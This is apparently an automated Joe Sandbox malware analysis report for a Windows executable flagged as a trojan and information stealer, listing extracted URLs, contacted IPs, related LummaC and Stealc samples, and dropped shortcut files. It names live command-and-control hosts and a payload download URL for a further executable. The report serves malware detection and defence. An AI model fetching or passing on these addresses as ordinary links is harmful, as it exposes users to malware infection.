https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_91.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://aka.ms/certhelp	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://mindhandru.buzz/	JpzbUfhXi0.exe, 00000000.00000003.2189632205.0000000005D35000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2162456705.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2163839775.0000000005D34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_91.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_91.5.dr	false		high
https://schema.org	chromecache_103.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://mindhandru.buzz/p	JpzbUfhXi0.exe, 00000000.00000003.2189587214.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/zo	JpzbUfhXi0.exe, 00000000.00000003.2209032236.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/yourcaliforniaprivacychoices	chromecache_91.5.dr	false		high
https://mindhandru.buzz/apis	JpzbUfhXi0.exe, 00000000.00000003.2189587214.000000000168C000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2188933098.0000000001688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_91.5.dr	false		high
http://185.215.113.16/	JpzbUfhXi0.exe, 00000000.00000003.2360653021.000000000168C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://github.com/adegeo	chromecache_91.5.dr	false		high
http://crl.micro	JpzbUfhXi0.exe, 00000000.00000003.2082189721.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2335762842.000000000166F000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001665000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189381009.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2194627468.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_122.5.dr, chromecache_103.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_122.5.dr, chromecache_103.5.dr	false		high
http://185.215.113.16/off/def.exe	JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001602000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_91.5.dr	false		high
https://mindhandru.buzz/apiK	JpzbUfhXi0.exe, 00000000.00000003.2082189721.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://channel9.msdn.com/	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_122.5.dr, chromecache_103.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581407
Start date and time:	2024-12-27 15:07:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	JpzbUfhXi0.exe renamed because original name is a hash value
Original Sample Name:	3d433b38ddd7681112b41ac5d55e0e50.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/67@7/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 184.28.89.167, 172.217.21.35, 172.217.19.238, 64.233.161.84, 88.221.170.101, 172.217.17.46, 142.250.181.138, 172.217.19.10, 216.58.208.234, 172.217.17.42, 172.217.19.234, 172.217.19.202, 142.250.181.74, 172.217.17.74, 172.217.19.170, 142.250.181.106, 2.19.126.156, 2.19.126.137, 172.217.17.35, 172.217.19.206, 172.202.163.200, 13.107.246.63, 184.28.90.27
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: JpzbUfhXi0.exe

Simulations

Behavior and APIs

Time	Type	Description
09:08:51	API Interceptor	45x Sleep call for process: JpzbUfhXi0.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse
	https://www.solutionfun.info/landingpage/88d166e1-2419-40aa-9b2d-6e9955c2aba8/Kowu_RY0atl7IwT3gv1Oxj31WsMvyYvLoFt-RCYljqI	Get hash	malicious	Unknown	Browse
	https://linkenbio.net/59125/247	Get hash	malicious	Unknown	Browse
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse
	DOTA2#U89c6#U8ddd#U63d2#U4ef6.exe	Get hash	malicious	Unknown	Browse
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse
185.215.113.16	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
s-part-0035.t-0009.t-msedge.net	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	LPO-0048532025.lnk	Get hash	malicious	DarkVision Rat	Browse	13.107.246.63
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	zox1oNM5Xl.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	OTRykEzo6o.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	wceaux.dll.dll	Get hash	malicious	Unknown	Browse	13.107.246.63
	wp.bat	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://online-ops.mypasschange.com/landingPage/2/fbb0559ebe1911efb53c0242ac190102	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.215.113.206
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	185.215.113.206
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.2.51
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	172.64.41.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	O53VxanH6A.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Wvo9FU4qo9.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.11.101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974249493354484
Encrypted:	false
SSDEEP:	48:8nddTFV7WHVidAKZdA19ehwiZUklqehKlxy+3:8TnQrxy
MD5:	EA5DDEA1E196D52E779B0B46D31E2A85
SHA1:	5A9ECE88EBA5ED36BD8EBA04D67937D850772003
SHA-256:	B4ECD0F90063CD45F1855618EAC434D6F101238AF41DD10ADE35B3712F0E4EE9
SHA-512:	7E33FC5AFB23CA97FB9BDE19D37300459754D8A9C4AEAB213DEFF703E425A6DD0E2B867E85D34A010FE407632F67F8DBCE951FEDF121E54A9C12FBAC091C8168
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......hX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y-q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y-q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y-q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y-q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............8#......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.990094268249084
Encrypted:	false
SSDEEP:	48:8vYddTFV7WHVidAKZdA1weh/iZUkAQkqehZlxy+2:8vCnq9Q4xy
MD5:	06191747F35E79AE8008D4F108D4F7D6
SHA1:	E6741D29370F12F4F4D3DCD849D3AA09EC822FCC
SHA-256:	A3D7CA156EC29C962A64BC303591B8E364D43F2D7D278FED321C69BE5E323935
SHA-512:	02850B99EE012D6C42C0727ADE657E36256357CB9CF46B566058D529D1EB07030F3AEB3C4189C612EF3E1EC7FF7C2A38CE0FD89A859C631A83A9964DB59B4643
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......hX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y-q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y-q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y-q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y-q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............8#......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003777219089376
Encrypted:	false
SSDEEP:	48:8xWddTFVsHVidAKZdA14tseh7sFiZUkmgqeh7sPlxy+BX:8xMnsnfxy
MD5:	9319BA509DC12BCAB8C7C9EED2EA4CF4
SHA1:	94D4248C5F2A0DF72894F8533E160595AB77371D
SHA-256:	B13B7AF1A3D5838CB8601FF6E47E8F2F6F951859FA5AC43A4D1251C4606C3E59
SHA-512:	D440D379F84AEFF2DEE4AC3F7EA06C7BC13503E9BE046A621B9CEC59773FA0D17ACE4CADCD66EB4EF875A6302B70490F82FB236572B42E3EDCABDDDCC0FB2CE6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y-q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y-q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y-q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y-q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............8#......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987545538672122
Encrypted:	false
SSDEEP:	48:8CddTFV7WHVidAKZdA1vehDiZUkwqehNlxy+R:8gnxVxy
MD5:	F5A9E435FDA8E2275DC7A80FB5DA3F0C
SHA1:	E59007DAF0DFC8399B4A8858043AFCD1E3C8CB4C
SHA-256:	AF62C8F23455A9B17B8B6A2AF2E4AC4BFD13C7EA908EE68F9AB72ACDF9B32C45
SHA-512:	846127E4A9542ACFA6A93BA668C57034BFA87F619648FA9C4A3A0B3FA6BAA3A08CE60D3370D2153792D98918290F410AF9B4BDC57026AC5537B17EB54743F255
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....k.v.hX..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y-q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y-q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y-q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y-q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............8#......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 13:09:27 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.979410445197477
Encrypted:	false
SSDEEP:	48:8rddTFV7WHVidAKZdA1hehBiZUk1W1qehblxy+C:8PnR9hxy
MD5:	2CB13157D7AA9C472004308BC0188673
SHA1:	7200D9337D7B51E5F4D299DAC2160AA5E14460F6
SHA-256:	B90EA2F40B75AD6CA277743DBA83655798AF6616C4F592D471E133D5B4028F84
SHA-512:	73DAAAF7F04459E341BB0A7C2FA0401E38F1F64E41AE25DECF1A5888508989BD21E8FB87E31BC95BC7247C40A1D2A051482970A5B831E942096F9363BBEC4884
Malicious:	false
Reputation:	low
